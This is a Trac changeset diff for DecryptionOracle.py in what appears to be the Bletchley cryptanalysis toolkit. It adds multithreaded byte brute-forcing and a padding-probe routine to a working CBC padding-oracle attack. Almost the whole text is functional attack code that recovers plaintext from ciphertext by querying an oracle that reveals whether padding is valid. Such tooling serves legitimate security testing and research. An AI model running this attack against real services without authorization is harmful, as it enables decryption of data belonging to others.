Changeset 12


Ignore:
Timestamp:
10/27/12 13:11:21 (12 years ago)
Author:
tmorgan
Message:

added multithreading to main decryption routine
added new probe_padding function for quick detection/verification of padding oracles

File:
1 edited

Legend:

Unmodified
Added
Removed
  • lib/bletchley/PaddingOracle/DecryptionOracle.py

    r8 r12  
    2020import random
    2121import struct
     22import threading
     23from .. import buffertools
    2224from .Exceptions import *
    2325
     
    2931    '''
    3032
    31    
    32     def __init__(self,oracle,blockSize=8):
     33    _thread_result = None
     34    max_threads = None
     35    log_fh = None
     36
     37    def __init__(self, oracle, block_size=8, max_threads=1, log_file=None):
    3338        '''
    3439        Creates a new DecryptionOracle object. Receives an oracle function which returns True
     
    3742        '''
    3843        self.oracle = oracle
    39         self.blockSize = blockSize
    40        
     44        self.block_size = block_size
     45        self.max_threads = max_threads
     46        self.log_fh = log_file
     47
     48
     49    def log_message(self, message):
     50        if self.log_fh != None:
     51            self.log_fh.write(message+'\n')
     52
     53
     54    def probe_padding(self, blob, iv=None):
     55        final = blob[0-self.block_size:]
     56        prior = blob[0-2*self.block_size:0-self.block_size]
     57        if len(blob) <= self.block_size:
     58            # If only one block present, then try to use an IV
     59            if iv!=None:
     60                self.log_message("Only one block present, using IV as scratch pad")
     61                prior = iv
     62            else:
     63                self.log_message("Only one block present, using 0 block as scratch pad")
     64                prior = '\x00'*self.block_size
     65
     66        # First probe for beginning of pad
     67        for i in range(0-self.block_size,0):
     68            if i == -1:
     69                break
     70            tweaked = struct.unpack("B", prior[i])[0] ^ 0xFF
     71            tweaked = struct.pack("B", tweaked)
     72            if not self.oracle(blob+prior[:i]+tweaked+prior[i+1:]+final):
     73                break
     74
     75        pad_length = 0-i
     76        self.log_message("Testing suspected pad length: %d" % pad_length)
     77        if pad_length > 1:
     78            # Verify suspected pad length by changing last pad byte to 1
     79            # and making sure the padding succeeds
     80            tweaked = struct.unpack("B", prior[-1])[0] ^ (pad_length^1)
     81            tweaked = struct.pack("B", tweaked)
     82            if self.oracle(blob+prior[:-1]+tweaked+final):
     83                return pad_length
     84            else:
     85                return None
     86        else:
     87            # Verify by changing pad byte to 2 and brute-force changing
     88            # second-to-last byte to 2 as well
     89            tweaked = struct.unpack("B", prior[-1])[0] ^ (2^1)
     90            tweaked = struct.pack("B", tweaked)
     91            for j in range(1,256):
     92                guess = struct.unpack("B", prior[-2])[0] ^ j
     93                guess = struct.pack("B", guess)
     94                if self.oracle(blob+prior[:-2]+guess+tweaked+final):
     95                    print("verified padding through decryption")
     96                    return pad_length
     97
     98            return None
     99
     100
    41101    def decrypt_last_bytes(self,block):
    42102        '''
    43103        Decrypts the last bytes of block using the oracle.
    44104        '''
    45         if(len(block)!=self.blockSize):
    46             raise InvalidBlockError(self.blockSize,len(block))
     105        if(len(block)!=self.block_size):
     106            raise InvalidBlockError(self.block_size,len(block))
    47107       
    48108        #First we get some random bytes
    49         rand = [random.getrandbits(8) for i in range(self.blockSize)]
     109        #rand = [random.getrandbits(8) for i in range(self.block_size)]
     110        rand = [0 for i in range(self.block_size)]
    50111       
    51112        for b in range(256):
    52113           
    53114            #XOR with current guess
    54             rand[-1] = rand[-1]^b
     115            rand[-1] ^= b
    55116            #Generate padding string   
    56117            randStr = "".join([ struct.pack("B",i) for i in rand ] )
     
    59120            else:
    60121                #Remove current guess
    61                 rand[-1]=rand[-1]^b
     122                rand[-1] ^= b
    62123               
    63124        #Now we have a correct padding, test how many bytes we got!
    64         for i in range(self.blockSize-1):
     125        for i in range(self.block_size-1):
    65126            #Modify currently tested byte
    66127            rand[i] = rand[i]^0x01
     
    68129            if(not self.oracle(randStr+block)):
    69130                #We got a hit! Byte i is also part of the padding
    70                 paddingLen = self.blockSize-i
     131                paddingLen = self.block_size-i
    71132                #Correct random i
    72133                rand[i] = rand[i]^0x01
     
    79140        return "".join(struct.pack("B",rand[-1]^0x01))
    80141
     142
     143    def _test_value_set(self, prefix, base, suffix, value_set):
     144        for b in value_set:
     145            if(self.oracle(prefix+struct.pack("B",base^b)+suffix)):
     146                self._thread_result = base^b
     147                break
     148
     149
    81150    def decrypt_next_byte(self,block,known_bytes):
    82151        '''
    83152        Given some known final bytes, decrypts the next byte using the padding oracle.
    84153        '''
    85         if(len(block)!=self.blockSize):
     154        if(len(block)!=self.block_size):
    86155            raise InvalidBlockError
    87156        numKnownBytes = len(known_bytes)
    88157       
    89         if(numKnownBytes >= self.blockSize):
     158        if(numKnownBytes >= self.block_size):
    90159            return known_bytes
    91160       
    92         # Craft data that will produce xx ... xx <numKnownBytes+1> ... <numKnownBytes+1> after decryption
    93        
    94         rand = [random.getrandbits(8) for i in range(self.blockSize-numKnownBytes)]
    95         for i in known_bytes:
    96             rand.append(struct.unpack("B",i)[0]^(numKnownBytes+1))
    97        
    98         #Now we do same trick again to find next byte.
    99         for b in range(256):
    100             rand[-(numKnownBytes+1)] =rand[-(numKnownBytes+1)]^b
    101             #Generate padding string   
    102             randStr = "".join([ struct.pack("B",i) for i in rand ] )
    103 
    104             if(self.oracle(randStr+block)):
    105                 break
    106             else:
    107                 rand[-(numKnownBytes+1)] =rand[-(numKnownBytes+1)]^b
    108        
     161        #rand = [random.getrandbits(8) for i in range(self.block_size-numKnownBytes)]
     162        rand = [0 for i in range(self.block_size-numKnownBytes)]
     163        prefix = struct.pack("B"*len(rand[0:-1]),*rand[0:-1])
     164        suffix = list(struct.unpack("B"*numKnownBytes, known_bytes))
     165        for i in range(0,numKnownBytes):
     166            suffix[i] ^= numKnownBytes+1
     167        suffix = struct.pack("B"*len(suffix),*suffix)+block
     168
     169        # Now we do same trick again to find next byte.
     170        self._thread_result = None
     171        threads = []
     172        for i in range(0,self.max_threads):
     173            t = threading.Thread(target=self._test_value_set,
     174                                 args=(prefix, rand[-1], suffix, range(i,255,self.max_threads)))
     175            t.start()
     176            threads.append(t)
     177           
     178        for t in threads:
     179            t.join()
     180       
     181        if self._thread_result == None:
     182            raise Exception
     183
    109184        #  Return previous bytes together with current byte
    110         return "".join([struct.pack("B",rand[i]^(numKnownBytes+1)) for i in range(self.blockSize-numKnownBytes-1,self.blockSize)])
    111    
     185        return struct.pack("B",self._thread_result^(numKnownBytes+1))+known_bytes       
     186        #return "".join([struct.pack("B",rand[i]^(numKnownBytes+1)) for i in range(self.block_size-numKnownBytes-1,self.block_size)])
     187   
     188
    112189    def decrypt_block(self,block):
    113190        '''
     
    115192        '''
    116193        bytes = self.decrypt_last_bytes(block)
    117         while(len(bytes)!=self.blockSize):
     194        while(len(bytes)!=self.block_size):
    118195            bytes = self.decrypt_next_byte(block,bytes)
    119196        return bytes
     197
    120198   
    121199    def decrypt_message(self,ctext, iv = None):
     
    124202        '''
    125203        #Recover first block
    126         result = self.decrypt_block(ctext[0:self.blockSize])
     204        result = self.decrypt_block(ctext[0:self.block_size])
    127205       
    128206        #XOR IV if provided, else we assume zero IV.
     
    131209
    132210        #Recover block by block, XORing with previous ctext block
    133         for i in range(self.blockSize,len(ctext),self.blockSize):
    134             prev = ctext[i-self.blockSize:i]
    135             current = self.decrypt_block(ctext[i:i+self.blockSize])
     211        for i in range(self.block_size,len(ctext),self.block_size):
     212            prev = ctext[i-self.block_size:i]
     213            current = self.decrypt_block(ctext[i:i+self.block_size])
    136214            result += self.xor_strings(prev,current)
    137215        return result
     216
    138217   
    139218    def xor_strings(self,s1,s2):
     
    142221            result += struct.pack("B",ord(s1[i])^ord(s2[i]))
    143222        return result
     223
    144224   
    145225    def hex_string(self,data):
Note: See TracChangeset for help on using the changeset viewer.